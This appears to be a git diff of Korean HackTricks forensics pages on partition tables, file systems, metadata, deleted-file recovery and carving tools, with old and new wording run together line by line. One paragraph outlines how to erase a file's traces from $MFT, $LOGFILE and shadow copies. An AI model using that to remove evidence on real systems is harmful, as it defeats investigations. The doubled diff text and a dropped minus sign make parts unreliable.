| 8 (0x08) | 4 (0x04) | 파티션 이전 섹터 (리틀 엔디안) | | 8 (0x08) | 4 (0x04) | 파티션 이전 섹터 (리틀 엔디안) |
| 12 (0x0C) | 4 (0x04) | 파티션 내 섹터 | | 12 (0x0C) | 4 (0x04) | 파티션 내 섹터 |
Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 얻어야 합니다(`fdisk`와 `p` 명령을 사용할 수 있음). Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 가져와야 합니다( `fdisk``p` 명령을 사용할 수 있습니다).
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
그런 다음 다음 코드를 사용하세요. 그런 다음 다음 코드를 사용하십시오.
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
@ -72,68 +73,68 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (논리 블록 주소 지정)** **LBA (논리 블록 주소 지정)**
**논리 블록 주소 지정** (**LBA**) 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 체계로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에 사용됩니다. LBA는 특히 간단한 선형 주소 지정 체계이며, **블록은 정수 인덱스에 의해 찾아집니다**. 첫 번째 블록은 LBA 0이고, 두 번째는 LBA 1이며, 이와 같이 계속됩니다. **논리 블록 주소 지정** (**LBA**) 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 방식으로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에 사용됩니다. LBA는 특히 간단한 선형 주소 지정 방식으로, **블록은 정수 인덱스로 위치가 지정되며**, 첫 번째 블록은 LBA 0, 두 번째 블록은 LBA 1 등으로 지정됩니다.
### GPT (GUID 파티션 테이블) ### GPT (GUID 파티션 테이블)
GUID 파티션 테이블인 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 인해 선호됩니다. 파티션을 위한 **전역적으로 고유한 식별자**로 특징 지어지는 GPT는 여러 측면에서 두드러집니다: GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 선호됩니다. 파티션에 대한 **전 세계적으로 고유한 식별자**로 독특한 GPT는 여러 면에서 두드러집니다:
* **위치 및 크기**: GPT와 MBR은 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**에서 작동하며, MBR의 32비트와 대조됩니다. * **위치 및 크기**: GPT와 MBR은 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**로 작동하며, MBR은 32비트입니다.
* **파티션 한**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용니다. * **파티션 **: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용할 수 있습니다.
* **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있습니다. * **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있습니다.
**데이터 내구성 및 복구**: **데이터 복원력 및 복구**:
* **중복성**: MBR과 달리 GPT는 파티션 및 부팅 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전체에 복제하여 데이터 무결성과 내구성을 향상시킵니다. * **중복성**: MBR과 달리 GPT는 파티션 및 부트 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전반에 복제하여 데이터 무결성과 복원력을 향상시킵니다.
* **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 감지되면 GPT는 손상된 데이터를 다른 디스크 위치에서 복구하려고 시도합니다. * **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 손상이 감지되면 GPT는 다른 디스크 위치에서 손상된 데이터를 복구하려고 시도합니다.
**보호 MBR (LBA0)**: **보호 MBR (LBA0)**:
* GPT는 보호 MBR을 통해 역호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 위치하며, 오래된 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크의 데이터 무결성을 보호합니다. * GPT는 보호 MBR을 통해 하위 호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 존재하지만, 이전 MBR 기반 유틸리티가 실수로 GPT 디스크를 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**하이브리드 MBR (LBA 0 + GPT)** **하이브리드 MBR (LBA 0 + GPT)**
[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [위키백과에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에서는 첫 번째 섹터를 사용하여 **부트로더** 코드의 첫 번째 단계를 저장할 수 있지만, **수정**하여 **GPT 파티션**을 인식하도록 합니다. MBR의 부트로더는 섹터 크기를 512바이트로 가정해서는 안 됩니다. **EFI**가 아닌 **BIOS** 서비스를 통해 **GPT 기반 부팅**을 지원하는 운영 체제에서는 첫 번째 섹터가 **부트로더** 코드의 첫 번째 단계를 저장하는 데 여전히 사용될 수 있지만, **GPT** **파티션**을 인식하도록 **수정**됩니다. MBR의 부트로더는 섹터 크기가 512바이트라고 가정해서는 안 됩니다.
**파티션 테이블 헤더 (LBA 1)** **파티션 테이블 헤더 (LBA 1)**
[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [위키백과에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
파티션 테이블 헤더는 디스크 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (의 오프셋 80 및 84). 파티션 테이블 헤더는 디스크에서 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (테이블의 오프셋 80 및 84).
| 오프셋 | 길이 | 내용 | | 오프셋 | 길이 | 내용 |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 바이트 | 시그니처 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) 리틀 엔디안 기계에서) | | 0 (0x00) | 8 바이트 | 서명 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) 리틀 엔디안 기계에서) |
| 8 (0x08) | 4 바이트 | UEFI 2.8을 위한 리비전 1.0 (00h 00h 01h 00h) | | 8 (0x08) | 4 바이트 | UEFI 2.8에 대한 수정 1.0 (00h 00h 01h 00h) |
| 12 (0x0C) | 4 바이트 | 리틀 엔디안에서 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) | | 12 (0x0C) | 4 바이트 | 리틀 엔디안의 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) |
| 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0부터 헤더 크기까지)의 리틀 엔디안 값, 이 필드는 계산 중에 0으로 설정됨 | | 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0에서 헤더 크기까지) 리틀 엔디안, 이 필드는 계산 중에 0으로 설정됨 |
| 20 (0x14) | 4 바이트 | 예약; 0이어야 함 | | 20 (0x14) | 4 바이트 | 예약; 0이어야 함 |
| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 사본의 위치) | | 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 사본의 위치) |
| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 사본의 위치) | | 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 사본의 위치) |
| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) | | 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA - 1) | | 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA 1) |
| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID | | 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 사본에서 항상 2) | | 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 사본에서 항상 2) |
| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 | | 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) | | 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) |
| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 | | 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
| 92 (0x5C) | \* | 나머지 블록에 대해 0이어야 하는 예약된 값 (512바이트 섹터 크기의 경우 420바이트이지만 더 큰 섹터 크기의 경우 더 많을 수 있음) | | 92 (0x5C) | \* | 예약; 나머지 블록에 대해 0이어야 함 (512바이트의 섹터 크기에 대해 420바이트; 그러나 더 큰 섹터 크기로 더 많을 수 있음) |
**파티션 항목 (LBA 233)** **파티션 항목 (LBA 233)**
| GUID 파티션 항목 형식 | | | | GUID 파티션 항목 형식 | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | ---------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| 오프셋 | 길이 | 내용 | | 오프셋 | 길이 | 내용 |
| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) | | 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) |
| 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) | | 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) |
| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) | | 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) | | 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) | | 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) |
| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 단위) | | 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 유닛) |
**파티션 유형** **파티션 유형**
@ -143,11 +144,12 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
### 검사 ### 검사
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)를 사용하여 포렌식 이미지를 마운트한 후 Windows 도구 [**Active Disk Editor**](https://www.disk-editor.org/index.html)를 사용하여 첫 번째 섹터를 검사할 수 있습니다. 다음 이미지에서 **MBR**이 **섹터 0**에서 감지되고 해석되었습니다: [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)로 포렌식 이미지를 마운트한 후, Windows 도구인 [**Active Disk Editor**](https://www.disk-editor.org/index.html)**를 사용하여 첫 번째 섹터를 검사할 수 있습니다.** 다음 이미지에서 **섹터 0**에서 **MBR**이 감지되고 해석되었습니다:
![](<../../../.gitbook/assets/image (494).png>) ![](<../../../.gitbook/assets/image (494).png>)
**MBR 대신 GPT 테이블**이었다면 **섹터 1**에서 _EFI PART_ 서명이 나타날 것입니다 (이전 이미지에서는 비어 있음). **MBR** 대신 **GPT 테이블**인 경우 **섹터 1**에 _EFI PART_ 서명이 나타나야 합니다 (이전 이미지에서는 비어 있습니다).
## 파일 시스템 ## 파일 시스템
### Windows 파일 시스템 목록 ### Windows 파일 시스템 목록
@ -160,41 +162,49 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
### FAT ### FAT
**FAT (File Allocation Table)** 파일 시스템은 핵심 구성 요소인 파일 할당 테이블을 기준으로 설계되었습니다. 이 시스템은 데이터 무결성을 보호하기 위해 테이블의 **두 개의 사본**을 유지하여 한쪽이 손상되더라도 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며 시스템의 시작 프로세스에 중요합니다. **FAT (파일 할당 테이블)** 파일 시스템은 볼륨의 시작에 위치한 파일 할당 테이블을 중심으로 설계되었습니다. 이 시스템은 **두 개의 복사본**을 유지하여 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며, 이는 시스템의 시작 프로세스에 중요합니다.
파일 시스템의 기본 저장 단위는 **클러스터**이며, 일반적으로 512B로 구성되어 여러 섹터를 포함합니다. FAT는 다음과 같은 버전을 통해 발전해 왔습니다: 파일 시스템의 기본 저장 단위는 **클러스터, 일반적으로 512B**로, 여러 섹터로 구성됩니다. FAT는 다음과 같은 버전으로 발전했습니다:
* **FAT12**: 12비트 클러스터 주소를 지원하며 최대 4078개의 클러스터(UNIX 함 4084)를 처리합니다. * **FAT12**, 12비트 클러스터 주소를 지원하며 최대 4078 클러스터를 처리합니다 (UNIX 4084).
* **FAT16**: 16비트 주소로 향상되어 최대 65,517개의 클러스터를 수용합니다. * **FAT16**, 16비트 주소로 향상되어 최대 65,517 클러스터를 수용합니다.
* **FAT32**: 32비트 주소로 더 발전하여 볼륨 당 268,435,456개의 클러스터를 허용합니다. * **FAT32**, 32비트 주소로 더욱 발전하여 볼륨당 최대 268,435,456 클러스터를 허용합니다.
FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사용되는 32비트 필드로 인한 **최대 4GB 파일 크기**입니다. FAT 버전 전반에 걸쳐 중요한 제한 사항은 **4GB 최대 파일 크기**로, 이는 파일 크기 저장에 사용되는 32비트 필드에 의해 부과됩니다.
특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다: 특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다:
* **파일/폴더 이름** (최대 8자) * **파일/폴더 이름** (최대 8자)
* **속성** * **속성**
* **생성, 수정 및 최근 액세스 날짜** * **생성, 수정 및 마지막 접근 날짜**
* **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄) * **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄)
* **파일 크기** * **파일 크기**
### EXT ### EXT
**Ext2**는 부팅 파티션과 같이 **잘 변하지 않는 파티션**을 위한 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**이며 일반적으로 **나머지 파티션**에 사용됩니다. **Ext2**는 **저널링하지 않는** 파티션 (**변경이 많지 않은 파티션**)에 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**을 지원하며 일반적으로 **나머지 파티션**에 사용됩니다.
## **메타데이터** ## **메타데이터**
일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 제목, 사용된 MS Office 버전, 작성자, 생성 및 최종 수정 날짜, 카메라 모델, GPS 좌표, 이미지 정보와 같은 정보가 있을 수 있습니다. 일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 분석가에게 흥미로울 수 있는 정보가 포함될 수 있습니다:
파일의 메타데이터를 얻기 위해 [**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용할 수 있습니다. * 제목
* 사용된 MS Office 버전
* 저자
* 생성 및 마지막 수정 날짜
* 카메라 모델
* GPS 좌표
* 이미지 정보
[**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용하여 파일의 메타데이터를 얻을 수 있습니다.
## **삭제된 파일 복구** ## **삭제된 파일 복구**
### 기록된 삭제된 파일 ### 기록된 삭제된 파일
이전에 볼 수 있듯이 파일이 "삭제"된 후에도 여전히 저장된 여러 위치가 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하면 삭제로 표시되지만 데이터는 손상되지 않기 때문입니다. 그런 다음 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾을 수 있습니다. 이전에 보았듯이 파일이 "삭제"된 후에도 여러 장소에 여전히 저장되어 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하는 것이 단순히 삭제로 표시할 뿐 데이터는 건드리지 않기 때문입니다. 따라서 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾는 것이 가능합니다.
또한 OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로 파일이나 가능한 많은 정보를 복구하기 위해 이를 사용할 수 있습니다. 또한, OS는 일반적으로 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로, 이를 사용하여 파일이나 가능한 한 많은 정보를 복구하려고 시도할 수 있습니다.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -202,20 +212,20 @@ FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사
### **파일 카빙** ### **파일 카빙**
**파일 카빙**은 데이터 덩어리에서 파일을 찾으려는 기술입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 푸터**를 기반으로, 파일 유형 **구조**를 기반으로, 그리고 **콘텐츠** 자체를 기반으로 합니다. **파일 카빙**은 **대량의 데이터에서 파일을 찾으려는 기술**입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 풋터**를 기반으로 하거나, 파일 유형 **구조**를 기반으로 하거나, **내용** 자체를 기반으로 합니다.
이 기술은 **단편화된 파일을 검색하는 데 사용할 수 없습니다**. 파일이 **연속적인 섹터에 저장되지 않으면**, 이 기술로 파일이나 적어도 일부를 찾을 수 없습니다. 이 기술은 **조각화된 파일을 검색하는 데는 작동하지 않습니다**. 파일이 **연속 섹터에 저장되지 않으면**, 이 기술은 파일을 찾거나 적어도 일부를 찾을 수 없습니다.
파일 카빙에 사용할 수 있는 여러 도구가 있으며, 검색할 파일 유형을 지정할 수 있습니다. 파일 카빙을 위해 검색할 파일 유형을 지정할 수 있는 여러 도구가 있습니다.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### 데이터 스트림 **카빙** ### 데이터 스트림 **C**arving
데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일 대신 흥미로운 조각 정보를 찾습니다**.\ 데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신 흥미로운 정보 조각을 찾습니다**.\
예를 들어, 로그된 URL을 포함한 완전한 파일을 찾는 대신, 이 기술은 URL을 검색합니다. 예를 들어, 기록된 URL을 포함하는 완전한 파일을 찾는 대신 이 기술은 URL을 검색합니다.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -223,13 +233,28 @@ FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사
### 안전한 삭제 ### 안전한 삭제
물론 파일을 **"안전하게" 삭제하고 그에 대한 로그 일부를 제거하는 방법**이 있습니다. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, 그런 다음 **$MFT** 및 **$LOGFILE**에 대한 파일에 대한 로그를 제거하고 **볼륨 그림자 사본**을 제거할 수 있습니다.\ 명백히, **파일과 그에 대한 로그의 일부를 "안전하게" 삭제하는 방법이 있습니다**. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, **$MFT** 및 **$LOGFILE**에서 파일에 대한 **로그**를 제거하고, **볼륨 섀도 복사본**을 제거할 수 있습니다.\
이 작업을 수행해도 파일의 존재가 여전히 로깅된 부분이 있을 수 있음을 알 수 있으며, 이는 포렌식 전문가의 업무 중 일부입니다. 이 작업을 수행하더라도 **파일의 존재가 여전히 기록된 다른 부분이 있을 수 있습니다**. 이는 사실이며, 포렌식 전문가의 작업 중 일부는 이를 찾는 것입니다.
## 참고 자료 ## 참고 문헌
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs 인증 디지털 포렌식 Windows**
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# 파일/데이터 Carving & 복구 도구 # File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## Carving & 복구 도구 ## Carving & Recovery tools
더 많은 도구: [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하고 설치한 후 파일을 처리하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 다른 종류의 이미지를 지원하도록 구축되었지만 간단한 파일은 지원하지 않습니다. 포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**은 이진 파일을 분석하여 포함된 콘텐츠를 찾는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다. **Binwalk**는 임베디드 콘텐츠를 찾기 위해 이진 파일을 분석하는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다.
**유용한 명령어**: **유용한 명령어**:
```bash ```bash
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
또 다른 숨겨진 파일을 찾는 데 사용되는 일반적인 도구는 **foremost**입니다. Foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 해당 파일을 주석 처리하십시오. 아무것도 주석 처리하지 않으면 foremost는 기본 구성된 파일 유형을 검색합니다. 또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
